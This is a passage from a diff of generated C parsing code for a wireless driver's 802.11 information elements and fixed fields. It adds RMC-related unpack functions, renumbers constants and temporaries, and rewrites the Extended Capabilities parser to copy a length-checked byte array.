0x0017 ) + +void dot11fUnpackFfRMCOUI(tpAniSirGlobal pCtx, + tANI_U8 *pBuf, + tDot11fFfRMCOUI *pDst) +{ + DOT11F_MEMCPY(pCtx, pDst->oui, pBuf, 3); + (void)pCtx; +} /* End dot11fUnpackFfRMCOUI. */ + +#define SigFfRMCOUI ( 0x0018 ) + +void dot11fUnpackFfRMCVersion(tpAniSirGlobal pCtx, + tANI_U8 *pBuf, + tDot11fFfRMCVersion *pDst) +{ + pDst->version = *pBuf; + (void)pCtx; +} /* End dot11fUnpackFfRMCVersion. */ + +#define SigFfRMCVersion ( 0x0019 ) void dot11fUnpackFfRSNI(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -836,9 +876,19 @@ void dot11fUnpackFfRSNI(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfRSNI. */ -#define SigFfRSNI ( 0x0016 ) +#define SigFfRSNI ( 0x001a ) + +#define SigFfReason ( 0x001b ) -#define SigFfReason ( 0x0017 ) +void dot11fUnpackFfRuler(tpAniSirGlobal pCtx, + tANI_U8 *pBuf, + tDot11fFfRuler *pDst) +{ + DOT11F_MEMCPY(pCtx, pDst->mac, pBuf, 6); + (void)pCtx; +} /* End dot11fUnpackFfRuler. */ + +#define SigFfRuler ( 0x001c ) void dot11fUnpackFfRxAntennaId(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -848,7 +898,7 @@ void dot11fUnpackFfRxAntennaId(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfRxAntennaId. */ -#define SigFfRxAntennaId ( 0x0018 ) +#define SigFfRxAntennaId ( 0x001d ) void dot11fUnpackFfSMPowerModeSet(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -862,9 +912,9 @@ void dot11fUnpackFfSMPowerModeSet(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfSMPowerModeSet. */ -#define SigFfSMPowerModeSet ( 0x0019 ) +#define SigFfSMPowerModeSet ( 0x001e ) -#define SigFfStatus ( 0x001a ) +#define SigFfStatus ( 0x001f ) void dot11fUnpackFfStatusCode(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -874,7 +924,7 @@ void dot11fUnpackFfStatusCode(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfStatusCode. */ -#define SigFfStatusCode ( 0x001b ) +#define SigFfStatusCode ( 0x0020 ) void dot11fUnpackFfTPCEleID(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -884,7 +934,7 @@ void dot11fUnpackFfTPCEleID(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfTPCEleID. */ -#define SigFfTPCEleID ( 0x001c ) +#define SigFfTPCEleID ( 0x0021 ) void dot11fUnpackFfTPCEleLen(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -894,7 +944,7 @@ void dot11fUnpackFfTPCEleLen(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfTPCEleLen. */ -#define SigFfTPCEleLen ( 0x001d ) +#define SigFfTPCEleLen ( 0x0022 ) void dot11fUnpackFfTSInfo(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -915,7 +965,7 @@ void dot11fUnpackFfTSInfo(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfTSInfo. */ -#define SigFfTSInfo ( 0x001e ) +#define SigFfTSInfo ( 0x0023 ) void dot11fUnpackFfTimeStamp(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -925,7 +975,7 @@ void dot11fUnpackFfTimeStamp(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfTimeStamp. */ -#define SigFfTimeStamp ( 0x001f ) +#define SigFfTimeStamp ( 0x0024 ) void dot11fUnpackFfTransactionId(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -935,7 +985,7 @@ void dot11fUnpackFfTransactionId(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfTransactionId. */ -#define SigFfTransactionId ( 0x0020 ) +#define SigFfTransactionId ( 0x0025 ) void dot11fUnpackFfTxAntennaId(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -945,7 +995,7 @@ void dot11fUnpackFfTxAntennaId(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfTxAntennaId. */ -#define SigFfTxAntennaId ( 0x0021 ) +#define SigFfTxAntennaId ( 0x0026 ) void dot11fUnpackFfTxPower(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -955,7 +1005,7 @@ void dot11fUnpackFfTxPower(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfTxPower. */ -#define SigFfTxPower ( 0x0022 ) +#define SigFfTxPower ( 0x0027 ) void dot11fUnpackFfVhtMembershipStatusArray(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -965,7 +1015,7 @@ void dot11fUnpackFfVhtMembershipStatusArray(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfVhtMembershipStatusArray. */ -#define SigFfVhtMembershipStatusArray ( 0x0023 ) +#define SigFfVhtMembershipStatusArray ( 0x0028 ) void dot11fUnpackFfVhtUserPositionArray(tpAniSirGlobal pCtx, tANI_U8 *pBuf, @@ -975,7 +1025,7 @@ void dot11fUnpackFfVhtUserPositionArray(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fUnpackFfVhtUserPositionArray. */ -#define SigFfVhtUserPositionArray ( 0x0024 ) +#define SigFfVhtUserPositionArray ( 0x0029 ) tANI_U32 dot11fUnpackTlvAuthorizedMACs(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U16 tlvlen, tDot11fTLVAuthorizedMACs *pDst) { @@ -3119,70 +3169,21 @@ tANI_U32 dot11fUnpackIeESEVersion(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ie tANI_U32 dot11fUnpackIeExtCap(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEExtCap *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U32 tmp42__; - tANI_U16 tmp43__; - tANI_U16 tmp44__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; - framesntohl(pCtx, &tmp42__, pBuf, 0); - pBuf += 4; - ielen -= 4; - pDst->bssCoexistMgmtSupport = tmp42__ >> 0 & 0x1; - pDst->reserved1 = tmp42__ >> 1 & 0x1; - pDst->extChanSwitch = tmp42__ >> 2 & 0x1; - pDst->reserved2 = tmp42__ >> 3 & 0x1; - pDst->psmpCap = tmp42__ >> 4 & 0x1; - pDst->reserved3 = tmp42__ >> 5 & 0x1; - pDst->spsmpCap = tmp42__ >> 6 & 0x1; - pDst->event = tmp42__ >> 7 & 0x1; - pDst->diagnostics = tmp42__ >> 8 & 0x1; - pDst->multiDiagnostics = tmp42__ >> 9 & 0x1; - pDst->locTracking = tmp42__ >> 10 & 0x1; - pDst->FMS = tmp42__ >> 11 & 0x1; - pDst->proxyARPService = tmp42__ >> 12 & 0x1; - pDst->coLocIntfReporting = tmp42__ >> 13 & 0x1; - pDst->civicLoc = tmp42__ >> 14 & 0x1; - pDst->geospatialLoc = tmp42__ >> 15 & 0x1; - pDst->TFS = tmp42__ >> 16 & 0x1; - pDst->wnmSleepMode = tmp42__ >> 17 & 0x1; - pDst->timBroadcast = tmp42__ >> 18 & 0x1; - pDst->bssTransition = tmp42__ >> 19 & 0x1; - pDst->qosTrafficCap = tmp42__ >> 20 & 0x1; - pDst->acStaCnt = tmp42__ >> 21 & 0x1; - pDst->multiBSSID = tmp42__ >> 22 & 0x1; - pDst->timingMeas = tmp42__ >> 23 & 0x1; - pDst->chanUsage = tmp42__ >> 24 & 0x1; - pDst->ssidList = tmp42__ >> 25 & 0x1; - pDst->DMS = tmp42__ >> 26 & 0x1; - pDst->UTCTSFOffset = tmp42__ >> 27 & 0x1; - pDst->TDLSPeerUAPSDBufferSTA = tmp42__ >> 28 & 0x1; - pDst->TDLSPeerPSMSupp = tmp42__ >> 29 & 0x1; - pDst->TDLSChannelSwitching = tmp42__ >> 30 & 0x1; - pDst->interworkingService = tmp42__ >> 31 & 0x1; - framesntohs(pCtx, &tmp43__, pBuf, 0); - pBuf += 2; - ielen -= 2; - pDst->qosMap = tmp43__ >> 0 & 0x1; - pDst->EBR = tmp43__ >> 1 & 0x1; - pDst->sspnInterface = tmp43__ >> 2 & 0x1; - pDst->reserved4 = tmp43__ >> 3 & 0x1; - pDst->msgCFCap = tmp43__ >> 4 & 0x1; - pDst->TDLSSupport = tmp43__ >> 5 & 0x1; - pDst->TDLSProhibited = tmp43__ >> 6 & 0x1; - pDst->TDLSChanSwitProhibited = tmp43__ >> 7 & 0x1; - pDst->rejectUnadmittedTraffic = tmp43__ >> 8 & 0x1; - pDst->serviceIntervalGranularity = tmp43__ >> 9 & 0x7; - pDst->identifierLoc = tmp43__ >> 12 & 0x1; - pDst->uapsdCoexistence = tmp43__ >> 13 & 0x1; - pDst->wnmNotification = tmp43__ >> 14 & 0x1; - pDst->reserved5 = tmp43__ >> 15 & 0x1; - framesntohs(pCtx, &tmp44__, pBuf, 0); - pDst->UTF8SSID = tmp44__ >> 0 & 0x1; - pDst->reserved6 = tmp44__ >> 1 & 0xfff; - pDst->TDLSWiderBW = tmp44__ >> 13 & 0x1; - pDst->operModeNotification = tmp44__ >> 14 & 0x1; - pDst->reserved7 = tmp44__ >> 15 & 0x1; + + if (!ielen) /* Check to ensure copying of ielen bytes */ + goto endUnpackIeExtCap; + pDst->num_bytes = (tANI_U8)( ielen ); + if (ielen > 9){ + pDst->present = 0; + return DOT11F_SKIPPED_BAD_IE; + } + + DOT11F_MEMCPY(pCtx, pDst->bytes, pBuf, ( ielen ) ); + +endUnpackIeExtCap: (void)pCtx; return status; } /* End dot11fUnpackIeExtCap. */ @@ -3308,15 +3309,15 @@ tANI_U32 dot11fUnpackIeFHPattTable(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 i tANI_U32 dot11fUnpackIeFTInfo(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEFTInfo *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U16 tmp45__; + tANI_U16 tmp42__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; - framesntohs(pCtx, &tmp45__, pBuf, 0); + framesntohs(pCtx, &tmp42__, pBuf, 0); pBuf += 2; ielen -= 2; - pDst->reserved = tmp45__ >> 0 & 0xff; - pDst->IECount = tmp45__ >> 8 & 0xff; + pDst->reserved = tmp42__ >> 0 & 0xff; + pDst->IECount = tmp42__ >> 8 & 0xff; DOT11F_MEMCPY(pCtx, pDst->MIC, pBuf, 16); pBuf += 16; ielen -= (tANI_U8)16; @@ -3343,17 +3344,17 @@ tANI_U32 dot11fUnpackIeFTInfo(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tANI_U32 dot11fUnpackIeHT2040BSSCoexistence(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEHT2040BSSCoexistence *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp46__; + tANI_U8 tmp43__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; - tmp46__ = *pBuf; - pDst->infoRequest = tmp46__ >> 0 & 0x1; - pDst->fortyMHzIntolerant = tmp46__ >> 1 & 0x1; - pDst->twentyMHzBssWidthReq = tmp46__ >> 2 & 0x1; - pDst->obssScanExemptionReq = tmp46__ >> 3 & 0x1; - pDst->obssScanExemptionGrant = tmp46__ >> 4 & 0x1; - pDst->unused = tmp46__ >> 5 & 0x7; + tmp43__ = *pBuf; + pDst->infoRequest = tmp43__ >> 0 & 0x1; + pDst->fortyMHzIntolerant = tmp43__ >> 1 & 0x1; + pDst->twentyMHzBssWidthReq = tmp43__ >> 2 & 0x1; + pDst->obssScanExemptionReq = tmp43__ >> 3 & 0x1; + pDst->obssScanExemptionGrant = tmp43__ >> 4 & 0x1; + pDst->unused = tmp43__ >> 5 & 0x7; (void)pCtx; return status; } /* End dot11fUnpackIeHT2040BSSCoexistence. */ @@ -3387,78 +3388,78 @@ tANI_U32 dot11fUnpackIeHT2040BSSIntolerantReport(tpAniSirGlobal pCtx, tANI_U8 *p tANI_U32 dot11fUnpackIeHTCaps(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEHTCaps *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U16 tmp47__; + tANI_U16 tmp44__; + tANI_U8 tmp45__; + tANI_U16 tmp46__; + tANI_U32 tmp47__; tANI_U8 tmp48__; - tANI_U16 tmp49__; - tANI_U32 tmp50__; - tANI_U8 tmp51__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; - framesntohs(pCtx, &tmp47__, pBuf, 0); + framesntohs(pCtx, &tmp44__, pBuf, 0); pBuf += 2; ielen -= 2; - pDst->advCodingCap = tmp47__ >> 0 & 0x1; - pDst->supportedChannelWidthSet = tmp47__ >> 1 & 0x1; - pDst->mimoPowerSave = tmp47__ >> 2 & 0x3; - pDst->greenField = tmp47__ >> 4 & 0x1; - pDst->shortGI20MHz = tmp47__ >> 5 & 0x1; - pDst->shortGI40MHz = tmp47__ >> 6 & 0x1; - pDst->txSTBC = tmp47__ >> 7 & 0x1; - pDst->rxSTBC = tmp47__ >> 8 & 0x3; - pDst->delayedBA = tmp47__ >> 10 & 0x1; - pDst->maximalAMSDUsize = tmp47__ >> 11 & 0x1; - pDst->dsssCckMode40MHz = tmp47__ >> 12 & 0x1; - pDst->psmp = tmp47__ >> 13 & 0x1; - pDst->stbcControlFrame = tmp47__ >> 14 & 0x1; - pDst->lsigTXOPProtection = tmp47__ >> 15 & 0x1; - tmp48__ = *pBuf; + pDst->advCodingCap = tmp44__ >> 0 & 0x1; + pDst->supportedChannelWidthSet = tmp44__ >> 1 & 0x1; + pDst->mimoPowerSave = tmp44__ >> 2 & 0x3; + pDst->greenField = tmp44__ >> 4 & 0x1; + pDst->shortGI20MHz = tmp44__ >> 5 & 0x1; + pDst->shortGI40MHz = tmp44__ >> 6 & 0x1; + pDst->txSTBC = tmp44__ >> 7 & 0x1; + pDst->rxSTBC = tmp44__ >> 8 & 0x3; + pDst->delayedBA = tmp44__ >> 10 & 0x1; + pDst->maximalAMSDUsize = tmp44__ >> 11 & 0x1; + pDst->dsssCckMode40MHz = tmp44__ >> 12 & 0x1; + pDst->psmp = tmp44__ >> 13 & 0x1; + pDst->stbcControlFrame = tmp44__ >> 14 & 0x1; + pDst->lsigTXOPProtection = tmp44__ >> 15 & 0x1; + tmp45__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->maxRxAMPDUFactor = tmp48__ >> 0 & 0x3; - pDst->mpduDensity = tmp48__ >> 2 & 0x7; - pDst->reserved1 = tmp48__ >> 5 & 0x7; + pDst->maxRxAMPDUFactor = tmp45__ >> 0 & 0x3; + pDst->mpduDensity = tmp45__ >> 2 & 0x7; + pDst->reserved1 = tmp45__ >> 5 & 0x7; DOT11F_MEMCPY(pCtx, pDst->supportedMCSSet, pBuf, 16); pBuf += 16; ielen -= (tANI_U8)16; - framesntohs(pCtx, &tmp49__, pBuf, 0); + framesntohs(pCtx, &tmp46__, pBuf, 0); pBuf += 2; ielen -= 2; - pDst->pco = tmp49__ >> 0 & 0x1; - pDst->transitionTime = tmp49__ >> 1 & 0x3; - pDst->reserved2 = tmp49__ >> 3 & 0x1f; - pDst->mcsFeedback = tmp49__ >> 8 & 0x3; - pDst->reserved3 = tmp49__ >> 10 & 0x3f; - framesntohl(pCtx, &tmp50__, pBuf, 0); + pDst->pco = tmp46__ >> 0 & 0x1; + pDst->transitionTime = tmp46__ >> 1 & 0x3; + pDst->reserved2 = tmp46__ >> 3 & 0x1f; + pDst->mcsFeedback = tmp46__ >> 8 & 0x3; + pDst->reserved3 = tmp46__ >> 10 & 0x3f; + framesntohl(pCtx, &tmp47__, pBuf, 0); pBuf += 4; ielen -= 4; - pDst->txBF = tmp50__ >> 0 & 0x1; - pDst->rxStaggeredSounding = tmp50__ >> 1 & 0x1; - pDst->txStaggeredSounding = tmp50__ >> 2 & 0x1; - pDst->rxZLF = tmp50__ >> 3 & 0x1; - pDst->txZLF = tmp50__ >> 4 & 0x1; - pDst->implicitTxBF = tmp50__ >> 5 & 0x1; - pDst->calibration = tmp50__ >> 6 & 0x3; - pDst->explicitCSITxBF = tmp50__ >> 8 & 0x1; - pDst->explicitUncompressedSteeringMatrix = tmp50__ >> 9 & 0x1; - pDst->explicitBFCSIFeedback = tmp50__ >> 10 & 0x7; - pDst->explicitUncompressedSteeringMatrixFeedback = tmp50__ >> 13 & 0x7; - pDst->explicitCompressedSteeringMatrixFeedback = tmp50__ >> 16 & 0x7; - pDst->csiNumBFAntennae = tmp50__ >> 19 & 0x3; - pDst->uncompressedSteeringMatrixBFAntennae = tmp50__ >> 21 & 0x3; - pDst->compressedSteeringMatrixBFAntennae = tmp50__ >> 23 & 0x3; - pDst->reserved4 = tmp50__ >> 25 & 0x7f; - tmp51__ = *pBuf; + pDst->txBF = tmp47__ >> 0 & 0x1; + pDst->rxStaggeredSounding = tmp47__ >> 1 & 0x1; + pDst->txStaggeredSounding = tmp47__ >> 2 & 0x1; + pDst->rxZLF = tmp47__ >> 3 & 0x1; + pDst->txZLF = tmp47__ >> 4 & 0x1; + pDst->implicitTxBF = tmp47__ >> 5 & 0x1; + pDst->calibration = tmp47__ >> 6 & 0x3; + pDst->explicitCSITxBF = tmp47__ >> 8 & 0x1; + pDst->explicitUncompressedSteeringMatrix = tmp47__ >> 9 & 0x1; + pDst->explicitBFCSIFeedback = tmp47__ >> 10 & 0x7; + pDst->explicitUncompressedSteeringMatrixFeedback = tmp47__ >> 13 & 0x7; + pDst->explicitCompressedSteeringMatrixFeedback = tmp47__ >> 16 & 0x7; + pDst->csiNumBFAntennae = tmp47__ >> 19 & 0x3; + pDst->uncompressedSteeringMatrixBFAntennae = tmp47__ >> 21 & 0x3; + pDst->compressedSteeringMatrixBFAntennae = tmp47__ >> 23 & 0x3; + pDst->reserved4 = tmp47__ >> 25 & 0x7f; + tmp48__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->antennaSelection = tmp51__ >> 0 & 0x1; - pDst->explicitCSIFeedbackTx = tmp51__ >> 1 & 0x1; - pDst->antennaIndicesFeedbackTx = tmp51__ >> 2 & 0x1; - pDst->explicitCSIFeedback = tmp51__ >> 3 & 0x1; - pDst->antennaIndicesFeedback = tmp51__ >> 4 & 0x1; - pDst->rxAS = tmp51__ >> 5 & 0x1; - pDst->txSoundingPPDUs = tmp51__ >> 6 & 0x1; - pDst->reserved5 = tmp51__ >> 7 & 0x1; + pDst->antennaSelection = tmp48__ >> 0 & 0x1; + pDst->explicitCSIFeedbackTx = tmp48__ >> 1 & 0x1; + pDst->antennaIndicesFeedbackTx = tmp48__ >> 2 & 0x1; + pDst->explicitCSIFeedback = tmp48__ >> 3 & 0x1; + pDst->antennaIndicesFeedback = tmp48__ >> 4 & 0x1; + pDst->rxAS = tmp48__ >> 5 & 0x1; + pDst->txSoundingPPDUs = tmp48__ >> 6 & 0x1; + pDst->reserved5 = tmp48__ >> 7 & 0x1; pDst->num_rsvd = (tANI_U8)( ielen ); if (ielen > 32){ pDst->present = 0; @@ -3476,41 +3477,41 @@ tANI_U32 dot11fUnpackIeHTCaps(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tANI_U32 dot11fUnpackIeHTInfo(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEHTInfo *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp52__; - tANI_U16 tmp53__; - tANI_U16 tmp54__; + tANI_U8 tmp49__; + tANI_U16 tmp50__; + tANI_U16 tmp51__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; pDst->primaryChannel = *pBuf; pBuf += 1; ielen -= (tANI_U8)1; - tmp52__ = *pBuf; + tmp49__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->secondaryChannelOffset = tmp52__ >> 0 & 0x3; - pDst->recommendedTxWidthSet = tmp52__ >> 2 & 0x1; - pDst->rifsMode = tmp52__ >> 3 & 0x1; - pDst->controlledAccessOnly = tmp52__ >> 4 & 0x1; - pDst->serviceIntervalGranularity = tmp52__ >> 5 & 0x7; - framesntohs(pCtx, &tmp53__, pBuf, 0); + pDst->secondaryChannelOffset = tmp49__ >> 0 & 0x3; + pDst->recommendedTxWidthSet = tmp49__ >> 2 & 0x1; + pDst->rifsMode = tmp49__ >> 3 & 0x1; + pDst->controlledAccessOnly = tmp49__ >> 4 & 0x1; + pDst->serviceIntervalGranularity = tmp49__ >> 5 & 0x7; + framesntohs(pCtx, &tmp50__, pBuf, 0); pBuf += 2; ielen -= 2; - pDst->opMode = tmp53__ >> 0 & 0x3; - pDst->nonGFDevicesPresent = tmp53__ >> 2 & 0x1; - pDst->transmitBurstLimit = tmp53__ >> 3 & 0x1; - pDst->obssNonHTStaPresent = tmp53__ >> 4 & 0x1; - pDst->reserved = tmp53__ >> 5 & 0x7ff; - framesntohs(pCtx, &tmp54__, pBuf, 0); + pDst->opMode = tmp50__ >> 0 & 0x3; + pDst->nonGFDevicesPresent = tmp50__ >> 2 & 0x1; + pDst->transmitBurstLimit = tmp50__ >> 3 & 0x1; + pDst->obssNonHTStaPresent = tmp50__ >> 4 & 0x1; + pDst->reserved = tmp50__ >> 5 & 0x7ff; + framesntohs(pCtx, &tmp51__, pBuf, 0); pBuf += 2; ielen -= 2; - pDst->basicSTBCMCS = tmp54__ >> 0 & 0x7f; - pDst->dualCTSProtection = tmp54__ >> 7 & 0x1; - pDst->secondaryBeacon = tmp54__ >> 8 & 0x1; - pDst->lsigTXOPProtectionFullSupport = tmp54__ >> 9 & 0x1; - pDst->pcoActive = tmp54__ >> 10 & 0x1; - pDst->pcoPhase = tmp54__ >> 11 & 0x1; - pDst->reserved2 = tmp54__ >> 12 & 0xf; + pDst->basicSTBCMCS = tmp51__ >> 0 & 0x7f; + pDst->dualCTSProtection = tmp51__ >> 7 & 0x1; + pDst->secondaryBeacon = tmp51__ >> 8 & 0x1; + pDst->lsigTXOPProtectionFullSupport = tmp51__ >> 9 & 0x1; + pDst->pcoActive = tmp51__ >> 10 & 0x1; + pDst->pcoPhase = tmp51__ >> 11 & 0x1; + pDst->reserved2 = tmp51__ >> 12 & 0xf; DOT11F_MEMCPY(pCtx, pDst->basicMCSSet, pBuf, 16); pBuf += 16; ielen -= (tANI_U8)16; @@ -3574,22 +3575,22 @@ static const tIEDefn IES_reportBeacon[ ] = { tANI_U32 dot11fUnpackIeMeasurementReport(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEMeasurementReport *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp55__; - tANI_U8 tmp56__; - tANI_U8 tmp57__; + tANI_U8 tmp52__; + tANI_U8 tmp53__; + tANI_U8 tmp54__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; pDst->token = *pBuf; pBuf += 1; ielen -= (tANI_U8)1; - tmp55__ = *pBuf; + tmp52__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->late = tmp55__ >> 0 & 0x1; - pDst->incapable = tmp55__ >> 1 & 0x1; - pDst->refused = tmp55__ >> 2 & 0x1; - pDst->unused = tmp55__ >> 3 & 0x1f; + pDst->late = tmp52__ >> 0 & 0x1; + pDst->incapable = tmp52__ >> 1 & 0x1; + pDst->refused = tmp52__ >> 2 & 0x1; + pDst->unused = tmp52__ >> 3 & 0x1f; pDst->type = *pBuf; pBuf += 1; ielen -= (tANI_U8)1; @@ -3611,15 +3612,15 @@ tANI_U32 dot11fUnpackIeMeasurementReport(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tAN framesntohs(pCtx, &pDst->report.Basic.meas_duration, pBuf, 0); pBuf += 2; ielen -= (tANI_U8)2; - tmp56__ = *pBuf; + tmp53__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->report.Basic.bss = tmp56__ >> 0 & 0x1; - pDst->report.Basic.ofdm_preamble = tmp56__ >> 1 & 0x1; - pDst->report.Basic.unid_signal = tmp56__ >> 2 & 0x1; - pDst->report.Basic.rader = tmp56__ >> 3 & 0x1; - pDst->report.Basic.unmeasured = tmp56__ >> 4 & 0x1; - pDst->report.Basic.unused = tmp56__ >> 5 & 0x7; + pDst->report.Basic.bss = tmp53__ >> 0 & 0x1; + pDst->report.Basic.ofdm_preamble = tmp53__ >> 1 & 0x1; + pDst->report.Basic.unid_signal = tmp53__ >> 2 & 0x1; + pDst->report.Basic.rader = tmp53__ >> 3 & 0x1; + pDst->report.Basic.unmeasured = tmp53__ >> 4 & 0x1; + pDst->report.Basic.unused = tmp53__ >> 5 & 0x7; break; case 1: pDst->report.CCA.channel = *pBuf; @@ -3683,11 +3684,11 @@ tANI_U32 dot11fUnpackIeMeasurementReport(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tAN framesntohs(pCtx, &pDst->report.Beacon.meas_duration, pBuf, 0); pBuf += 2; ielen -= (tANI_U8)2; - tmp57__ = *pBuf; + tmp54__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->report.Beacon.condensed_PHY = tmp57__ >> 0 & 0x7f; - pDst->report.Beacon.reported_frame_type = tmp57__ >> 7 & 0x1; + pDst->report.Beacon.condensed_PHY = tmp54__ >> 0 & 0x7f; + pDst->report.Beacon.reported_frame_type = tmp54__ >> 7 & 0x1; pDst->report.Beacon.RCPI = *pBuf; pBuf += 1; ielen -= (tANI_U8)1; @@ -3736,22 +3737,22 @@ static const tIEDefn IES_measurement_requestBeacon[ ] = { tANI_U32 dot11fUnpackIeMeasurementRequest(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEMeasurementRequest *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp58__; + tANI_U8 tmp55__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; pDst->measurement_token = *pBuf; pBuf += 1; ielen -= (tANI_U8)1; - tmp58__ = *pBuf; + tmp55__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->parallel = tmp58__ >> 0 & 0x1; - pDst->enable = tmp58__ >> 1 & 0x1; - pDst->request = tmp58__ >> 2 & 0x1; - pDst->report = tmp58__ >> 3 & 0x1; - pDst->durationMandatory = tmp58__ >> 4 & 0x1; - pDst->unused = tmp58__ >> 5 & 0x7; + pDst->parallel = tmp55__ >> 0 & 0x1; + pDst->enable = tmp55__ >> 1 & 0x1; + pDst->request = tmp55__ >> 2 & 0x1; + pDst->report = tmp55__ >> 3 & 0x1; + pDst->durationMandatory = tmp55__ >> 4 & 0x1; + pDst->unused = tmp55__ >> 5 & 0x7; pDst->measurement_type = *pBuf; pBuf += 1; ielen -= (tANI_U8)1; @@ -3828,17 +3829,17 @@ tANI_U32 dot11fUnpackIeMeasurementRequest(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tA tANI_U32 dot11fUnpackIeMobilityDomain(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEMobilityDomain *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp59__; + tANI_U8 tmp56__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; framesntohs(pCtx, &pDst->MDID, pBuf, 0); pBuf += 2; ielen -= (tANI_U8)2; - tmp59__ = *pBuf; - pDst->overDSCap = tmp59__ >> 0 & 0x1; - pDst->resourceReqCap = tmp59__ >> 1 & 0x1; - pDst->reserved = tmp59__ >> 2 & 0x3f; + tmp56__ = *pBuf; + pDst->overDSCap = tmp56__ >> 0 & 0x1; + pDst->resourceReqCap = tmp56__ >> 1 & 0x1; + pDst->reserved = tmp56__ >> 2 & 0x3f; (void)pCtx; return status; } /* End dot11fUnpackIeMobilityDomain. */ @@ -3862,31 +3863,31 @@ tANI_U32 dot11fUnpackIeMobilityDomain(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U tANI_U32 dot11fUnpackIeNeighborReport(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIENeighborReport *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp60__; - tANI_U8 tmp61__; + tANI_U8 tmp57__; + tANI_U8 tmp58__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; DOT11F_MEMCPY(pCtx, pDst->bssid, pBuf, 6); pBuf += 6; ielen -= (tANI_U8)6; - tmp60__ = *pBuf; + tmp57__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->APReachability = tmp60__ >> 0 & 0x3; - pDst->Security = tmp60__ >> 2 & 0x1; - pDst->KeyScope = tmp60__ >> 3 & 0x1; - pDst->SpecMgmtCap = tmp60__ >> 4 & 0x1; - pDst->QosCap = tmp60__ >> 5 & 